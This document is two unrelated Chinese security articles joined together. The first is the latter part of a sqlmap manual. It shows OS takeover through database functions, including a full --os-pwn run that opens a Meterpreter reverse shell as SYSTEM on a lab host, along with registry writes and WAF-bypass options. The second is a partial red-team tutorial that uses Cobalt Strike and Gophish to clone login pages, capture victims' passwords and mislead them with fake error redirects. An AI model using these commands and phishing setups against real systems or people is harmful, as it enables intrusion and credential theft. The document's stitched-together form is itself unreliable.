在`MySQL、PostgreSQL，sqlmap`上传一个二进制库，包含用户自定义的函数，`sys_exec()和sys_eval()`。
那么他创建的这两个函数可以执行系统命令。在`Microsoft SQLServer，sqlmap`将会使用`xp_cmdshell`存储过程，
如果被禁`（在Microsoft SQL Server2005`及以上版本默认禁制），`sqlmap`会重新启用它，如果不存在，会自动创建。
用`–os-shell`参数也可以模拟一个真实的`shell`，可以输入你想执行的命令。
当不能执行多语句的时候（比如php或者asp的后端数据库为`MySQL`时），仍然可能使用`INTOOUTFILE`写进可写目录，来创建一个web后门。支持的语言：
1、ASP
2、ASP.NET
3、JSP
4、PHP
**Meterpreter配合使用**
参数：`–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path`
当数据库为`MySQL，PostgreSQL或Microsoft
SQLServer`，并且当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立`TCP`连接，
这个连接可以是一个交互式命令行的`Meterpreter`会话，`sqlmap`根据`Metasploit`生成`shellcode`，并有四种方式执行它：
1. 通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：--os-pwn。
2. 通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys_exec()函数，Microsoft SQL Server的xp_cmdshell()函数，参数：--os-pwn。
3. 通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），--os-smbrelay。
4. 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：--os-bof
列举一个`MySQL`例子：
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
\>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
\>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database
underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
\>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
\>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
\>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,
please wait..
\_
\| \| o
\_ \_ \_ \_ \_\|\_ \__, , \_ \| \| \_\_ \_\|\_
/ \|/ \|/ \| \|/ \| / \| / \\_\|/ \\_\|/ / \\_\| \|
\| \| \|_/\|__/\|_/\\_/\|_/ \\/ \|__/ \|__/\\__/ \|_/\|_/
/\|
\\\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
\+ -- --=[ 674 exploits - 351 auxiliary
\+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD =\> windows/meterpreter/reverse_tcp
EXITFUNC =\> thread
LPORT =\> 60641
LHOST =\> 192.168.136.1
[\*] Started reverse handler on 192.168.136.1:60641
[\*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF
'sys_bineval',
please wait..
[\*] Sending stage (749056 bytes) to 192.168.136.129
[\*] Meterpreter session 1 opened (192.168.136.1:60641 -\>
192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter \> Loading extension espia...success.
meterpreter \> Loading extension incognito...success.
meterpreter \> [-] The 'priv' extension has already been loaded.
meterpreter \> Loading extension sniffer...success.
meterpreter \> System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter \> Server username: NT AUTHORITY\\SYSTEM
meterpreter \> ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter \> exit
[\*] Meterpreter session 1 closed. Reason: User exit
默认情况下MySQL在`Windows`上以`SYSTEM`权限运行，`PostgreSQL`在`Windows`与`Linux`中是低权限运行，
`Microsoft SQL Server 2000`默认是以`SYSTEM`权限运行与2008大部分是以`NETWORK
SERVICE`有时是`LOCAL SERVICE`。
### 对Windows注册表操作
当数据库为`MySQL，PostgreSQL`或`Microsoft SQL
Server`，并且当前web应用支持堆查询。当然，当前连接数据库的用户也需要有权限操作注册表。
#### 读取注册表值
参数：`–reg-read`
#### 写入注册表值
参数：`–reg-add`
#### 删除注册表值
参数：`–reg-del`
#### 注册表辅助选项
参数：`–reg-key，–reg-value，–reg-data，–reg-type`
需要配合之前三个参数使用，例子：
\$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
--reg-add --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\sqlmap" --reg-value=Test
--reg-type=REG_SZ --reg-data=1
#### 常规参数
**从sqlite中读取session**
参数：`-s`
`sqlmap`对每一个目标都会在`output`路径下自动生成一个`SQLite`文件，如果用户想指定读取的文件路径，就可以用这个参数。
**保存HTTP(S)日志**
参数：`-t`
这个参数需要跟一个文本文件，`sqlmap`会把`HTTP(S)`请求与响应的日志保存到那里。
**非交互模式**
参数：`–batch`
用此参数，不需要用户输入，将会使用sqlmap提示的默认值一直运行下去。
**强制使用字符编码**
参数：`–charset`
不使用sqlmap自动识别的（如HTTP头中的Content-Type）字符编码，强制指定字符编码如：
–charset=GBK
**爬行网站URL**
参数：`–crawl`
`sqlmap`可以收集潜在的可能存在漏洞的连接，后面跟的参数是爬行的深度。
例子：
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
**规定输出到CSV中的分隔符**
参数：`–csv-del`
当dump保存为CSV格式时`（–dump-format=CSV）`，需要一个分隔符默认是逗号，用户也可以改为别的
如：
–csv-del=”;”
**DBMS身份验证**
参数：`–dbms-cred`
某些时候当前用户的权限不够，做某些操作会失败，如果知道高权限用户的密码，可以使用此参数，有的数据库有专门的运行机制，
可以切换用户如`MicrosoftSQL Server的OPENROWSET`函数
**定义dump数据的格式**
参数：`–dump-format`
输出的格式可定义为：`CSV，HTML，SQLITE`
**预估完成时间**
参数：`–eta`
可以计算注入数据的剩余时间。
例如`Oracle`的布尔型盲注：
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========\> ] 11/64 ETA 00:19
然后：
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
sqlmap先输出长度，预计完成时间，显示百分比，输出字符
**刷新session文件**
参数：`–flush-session`
如果不想用之前缓存这个目标的session文件，可以使用这个参数。
会清空之前的session，重新测试该目标。
**自动获取form表单测试**
参数：`–forms`
如果你想对一个页面的form表单中的参数测试，可以使用-r参数读取请求文件，或者通过–data参数测试。
但是当使用–forms参数时，sqlmap会自动从-u中的url获取页面中的表单进行测试。
**忽略在会话文件中存储的查询结果**
参数：`–fresh-queries`
**忽略session文件保存的查询，重新查询。**
使用DBMS的hex函数
参数：`–hex`
有时候字符编码的问题，可能导致数据丢失，可以使用hex函数来避免：
针对`PostgreSQL`例子：
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND
5849=CAST((CHR(58)\|\|CHR(118)\|\|CHR(116)\|\|CHR(106)\|\|CHR(58))\|\|(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION()
AS
CHARACTER(10000)),(CHR(32)))),(CHR(85)\|\|CHR(84)\|\|CHR(70)\|\|CHR(56))),(CHR(72)\|\|CHR(69)\|\|CHR(88))))::text\|\|(CHR(58)\|\|CHR(110)\|\|CHR(120)\|\|CHR(98)\|\|CHR(58))
AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [\<a
href='function.pg-query'\>function.pg-query\</a\>]: Query failed: ERROR: invalid
input syntax for type numeric:
":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:"
in \<b\>/var/www/sqlmap/libs/pgsql.inc.php\</b\> on line \<b\>35\</b\>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
**自定义输出的路径**
参数：`–output-dir`
sqlmap默认把session文件跟结果文件保存在output文件夹下，用此参数可自定义输出路径
例如：`–output-dir=/tmp`
**从响应中获取DBMS的错误信息**
参数：`–parse-errors`
有时目标没有关闭DBMS的报错，当数据库语句错误时，会输出错误语句，用词参数可以会显出错误信息。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10
is out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
#### 其他的一些参数
**使用参数缩写**
参数：`-z`
有使用参数太长太复杂，可以使用缩写模式。 例如：
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u
"www.target.com/vuln.php?id=1"
可以写成：
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
还有：
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb
-T users -u "www.target.com/vuln.php?id=1"
可以写成：
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u
"www.target.com/vuln.php?id=1"
**成功SQL注入时警告**
参数：`–alert`
**设定会发的答案**
参数：`–answers`
当希望`sqlmap`提出输入时，自动输入自己想要的答案可以使用此参数： 例子：
$ python sqlmap.py -u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1)? [Y/n] N
[...]
**发现SQL注入时发出蜂鸣声**
参数：`–beep`
发现sql注入时，发出蜂鸣声。
**启发式检测WAF/IPS/IDS保护**
参数：`–check-waf`
`WAF/IPS/IDS`保护可能会对`sqlmap`造成很大的困扰，如果怀疑目标有此防护的话，可以使用此参数来测试。`sqlmap`将会使用一个不存在的参数来注入测试
例如：
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables
WHERE 2>1
如果有保护的话可能返回结果会不同。
**清理sqlmap的UDF(s)和表**
参数：`–cleanup`
清除sqlmap注入时产生的udf与表。
**禁用彩色输出**
参数：`–disable-coloring`
sqlmap默认彩色输出，可以使用此参数，禁掉彩色输出。
**使用指定的Google结果页面**
参数：`–gpage`
默认sqlmap使用前100个URL地址作为注入测试，结合此选项，可以指定页面的URL测试。
**使用HTTP参数污染**
参数：`-hpp`
HTTP参数污染可能会绕过`WAF/IPS/IDS`保护机制，这个对`ASP/IIS与ASP.NET/IIS`平台很有效。
**测试WAF/IPS/IDS保护**
参数：`–identify-waf`
sqlmap可以尝试找出WAF/IPS/IDS保护，方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子：
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server
(United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application
Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web
Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway
(Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5
Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application
Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions
(Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application
Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application
Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application
Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application
Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application
Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source
Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web
Application Firewall (Trustwave)'. Please consider usage of tamper scripts
(option '--tamper')
[...]
**模仿智能手机**
参数：`–mobile`
有时服务端只接收移动端的访问，此时可以设定一个手机的`User-Agent`来模仿手机登陆。
例如：
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
\> 1
[...]
**安全的删除output目录的文件**
参数：`–purge-output`
有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。
例如：
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
**启发式判断注入**
参数：`–smart`
有时对目标非常多的URL进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。
例子：
$ python sqlmap.py -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch
--smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user'
might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and
risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL \>= 5.0 AND error-based - WHERE or HAVING
clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL \>= 5.0 AND error-based - WHERE
or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL \< 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL \> 5.0.11 AND time-based blind'
injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20
columns' injectable
[...]
**初级用户向导参数**
参数：`–wizard`面向初级用户的参数，可以一步一步教你如何输入针对目标注入。
参考资料：
安全牛课堂`-kali-linux-web`篇
sqlmap用户手册中文版：<https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html>
sqlmap用户手册：<http://drops.xmd5.com/static/drops/tips-143.html> | 社区文章 |
# 捕鱼达人——钓鱼基础设施的应用分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
邮件钓鱼攻击是一种常见的网络攻击方法，无论是广撒网式的“大海捞鱼”，还是极具精准化、定制化的鱼叉式钓鱼，都越来越普遍。
在红蓝模拟对抗的场景下，邮件钓鱼攻击也逐渐演变为一种精准、高效的打点手段，或通过恶意链接窃取敏感信息数据，或结合恶意附件夺控目标权限。
本文将从红队基础设施构建的角度出发，结合Cobalt Strike、iRedMail、Gophish等工具，探索邮件钓鱼基本架构的应用。
**本文旨在交流技术，严禁从事不正当活动。网络不是法外之地，争做遵纪守法好公民。**
## 0x01 基本设置
基本环境信息：
* mail vps: xx.xx.xx.52
* domain: fxxkxxxxxx.xxxxx
* cobalt strike vps: xx.xx.xx.155
* 本地局域网出口：xx.xx.xx.35
发送钓鱼邮件的第一步，是先拥有发送者邮箱，常见的如Gmail、Hotmail、163等第三方邮箱。但在真实的钓鱼场景中，一般不会使用此类邮箱。其原因一是容易暴露身份，且邮箱的欺骗性较低，效果不好；二是第三方邮箱通常会有多种限制、严格的过滤规则等，在发送大批量邮件时受限。
因此，常见的模式是基于目标的信息搜集，申请近似的域名，并使用自己的服务器搭建邮箱系统来发送邮件。
如何让申请的域名更具欺骗性、迷惑性，也深有讲究，本文不多赘述，仅申请一无关域名做测试学习使用。
下面简介基于iRedMail的邮箱系统搭建。首先，申请域名，解析信息配置如下：
同时在VPS上配置主机的域名信息：
配置好域名，在服务器上安装iRedMail。
> iRedMail是一个开源、免费的邮件服务器项目，其核心组件及其对应的功能主要有：Postfix: SMTP 服务器，Dovecot:
> POP3/IMAP/Managesieve 服务器，Apache: Web 服务器，MySQL: 用于存储其它程序的数据，也可用于存储邮件帐号。
搭建过程及注意事项，可参考[iRedMail官网手册](https://docs.iredmail.org/index.html)，本文不展开陈述。
注意在安装的过程中，会提示到是否使用由iRedMail提供的防火墙规则，这里根据个人情况选择即可。但从安全的角度出发，还是一定要给服务器上防火墙规则。本文仅做测试学习，暂不启用防火墙策略。
安装完成后，进入邮箱管理员界面，添加两名用户：
登录邮箱界面，即可实现基本邮件发送功能：
注：通过cobalt
strike发送邮件，要开启邮箱服务器smtp的sasl身份验证。通过修改邮件服务器postfix配置文件的`smtpd_sasl_auth_enable
= yes`即可：
测试通过telnet smtp和pop3发送接收邮件：
## 0x02 钓鱼初试
下面演示基于Cobalt Strike的钓鱼邮件功能
cobalt strike中集成的邮件钓鱼功能模块如图：
要配置的信息包括：
### **1\. Targets : 钓鱼的目标**
这里以`jason1`为钓鱼目标对象
### **2\. Targets : 钓鱼邮件模板**
在真实钓鱼环境中，为使邮件具备以假乱真的欺骗性，通常结合社会工程学手段，精心构造邮件内容。本文以演示为目的，构造一个简单的邮件，并将其内容存储为`mail-template.eml`文件。
### **3\. Attachment：邮件附件，一般为恶意文档**
可利用cobalt strike 的attack工具包，生成 macro 宏，插入到文档中，制作简易的恶意文档，或采取其他多种方式构造。
### **4\. Embed URL：嵌入的钓鱼链接**
可利用cobalt strike的attack工具包，克隆网站，构造钓鱼网站。这里随意找一个网站的登录页面，克隆到自己的服务器上。
在真实环境中，一般是针对目标的关键敏感信息构造钓鱼页面，包括邮箱身份信息、银行卡信息、通讯社交软件信息等，或是在已经突破进入目标内网后，想要获取内网办公系统、企业内网资源管理系统等信息。
### **5\. Mail Server是邮件服务器的地址和身份信息，Bounce TO模仿发件人，正常填写即可**
如图所示，目标接收到钓鱼邮件。邮件内记录到，邮件是从cobalt
strike服务器发送出去的。且邮件内的连接地址已经替换为克隆后的服务器链接，当用户跳转进入该页面，输入登录信息，cobalt
strike控制台就能观察到其输入信息。
还可以结合cobalt strike的listener，采用向邮件中添加恶意附件、替换链接为恶意程序等方式，让目标Beacon上线，此部分非本文演示的重点。
## 0x03 再上层楼
cobalt
strike虽然集成了邮件钓鱼功能，但在某些情况下，显然不是最佳选项。正所谓，用专业的工具做专业的事。针对邮件钓鱼，也有不少专门的工具，例如Gophish，[Gophish项目地址](https://github.com/gophish/gophish)。
> Gophish是为企业和渗透测试人员设计的开源网络钓鱼工具包。 它提供快速、简易地设置和执行网络钓鱼攻击的能力。
Gophish安装完成后，存在两个页面，一个是钓鱼页面，一个是后台管理控制页面。
**本文的实验环境将Gophish直接安装在邮件服务器上（fxxkxxxxxx.xxxxx），但在真实的环境中，应尽量遵循功能分割的原则**
钓鱼页面（85端口，可通过配置文件更改）：
后台管理控制页面（3333端口，可通过配置文件更改）：
下面将介绍如何基于Gophish来实现邮件钓鱼
### **1-Sending Profile:设置发件策略**
其主要内容是，把用来执行发送邮件操作的发送者邮箱配置信息提供给Gophish。
其中几个关键字段：
* Interface Type:接口类型，默认为smtp且不可更改，因此发送邮件的邮箱需要开启SMTP服务。
* Host: SMTP服务器地址
* Username: SMTP服务器认证的用户名
* Password: SMTP服务器认证的口令
* Email Headers：自定义邮件头部信息，可按需填写。
填写好相应信息后，可通过`Send Test Email`发送测试邮件，确认发件邮箱能否正常发送邮件：
### **2-Landing Pages:目标钓鱼页面**
主要内容是设置钓鱼邮件内，超链接指向的钓鱼网页，比如银行账号登录页面、社交账号登录页面等。
`Import Site`导入超链接，会自动解析html，我们以随便搜到的某一个后台登录页面为例。
勾选`Capture Submitted Data`，即捕获受害者在钓鱼页面登录时的提交数据。
最下端的`Redirect
to`，填入提交数据后跳转的页面，为给受害者营造一种输错账号密码的假象，可填入登录页面的连接，并在URL后填入一个报错参数，`https://xxxxx/account/login?errorcode=1`
### **3-Email Templates:邮件模板**
主要是发送给受害者的邮件内容模板。通常是在社会工程学的基础上，分析目标特征，发送具有针对性的内容，这里简单构造一个公司发送内部福利的邮件内容。
直接通过`Import Email`导入邮件模板，记得勾选`Change Links to Point to Landing
Page`选项，将邮件内容里的超链接替换为钓鱼页面链接。
`Add Tracking Image`在邮件末尾添加一个跟踪图像，可以掌握受害者是否打开了钓鱼邮件。
`Add Files`可添加附件，增强邮件的欺骗性，同时可结合免杀木马使用。
### **4-Users and Groups:目标用户和组**
可直接导入csv格式的文件，批量导入用户；也可手工添加。这里以jason1和jason2两名同志为目标。
### **5-Campaign:执行钓鱼行动**
`Campaign`部分是整合上述各个子环节，综合起来执行钓鱼行动。
依次填入邮件模板、目标钓鱼页面、发件策略、目标用户信息。
其中，需要注意的是`URL`选项。在上文中提到了，gophish启动运行后，我们配置了85端口运行钓鱼页面，3333端口运行后台管理控制页面。当我们启动Campaign事件，85端口会运行我们在`Landing
Pages`部分配置的钓鱼页面，即某后台登录页面。因此，此处的`URL`选项填入运行gophish的服务器地址。此外，还需保证此地址对于目标受害者的网络环境来说是可访问的。当填写公网vps的IP地址或域名时，需确保目标内网环境能够访问公网vps，即需要注意防火墙策略等。当填写内网ip地址时，则意味着钓鱼目标页面只能够被目标内网访问，外部网络环境无法访问。当然，也可以输入其他方式搭建的钓鱼服务器地址。
而后受害者jason1就会接受到钓鱼邮件：
需要注意的是，在邮件内有提示`To protect your privacy remote resources have been
blocked`，字面意思很简单，就是为了保护隐私，远程资源被禁掉了。出现提示的原因，是因为我们在`Email Template`部分，启用了`Add
Tracking Image`选项，会在邮件末尾追加一个远程图像资源<img>，通过受害者请求加载资源来判定目标是否打开了邮件：
如图所示，在邮件最后有一个<img>，其位于gophish服务器端，并通过`rid`来识别受害者。
点击邮件内的超链接，将跳转到我们在`Landing Page`部分布局的钓鱼后台登录页面：
输入用户名、口令，登录后，页面将跳转进入真实的后台登录页面，并在url处可看到我们添加的参数，`errorcode=1`，让受害者以为输错了登录信息，增强欺骗性。
此时，gophish控制后台已经捕捉记录到受害者的信息：
上图显示，两个目标中，有一个打开了邮件，并点击了钓鱼超链接，输入了登录信息，此人即是jason1：
jason1的结果中，成功记录到了提交的用户名和口令信息。
## 0x04 写在文末
有几点个人思考和分析，同大家分享：
### **1\. 服务器SMTP出口**
无论是采用cobalt
strike还是gophish，在真实的环境中，其实都应该遵循功能独立分割的原则。即每台服务器只完成特定的功能，其目的就是在于提高红队基础设施的健壮性、可扩展性、弹性恢复能力。
具体而言，cs server和 gophish server都会通过SMTP协议与mail server连接并发送邮件。即cs server、gophish
server、mail server都需要连接到目标的25端口SMTP服务，cs server、gophish server、mail
server需放行25出站端口。
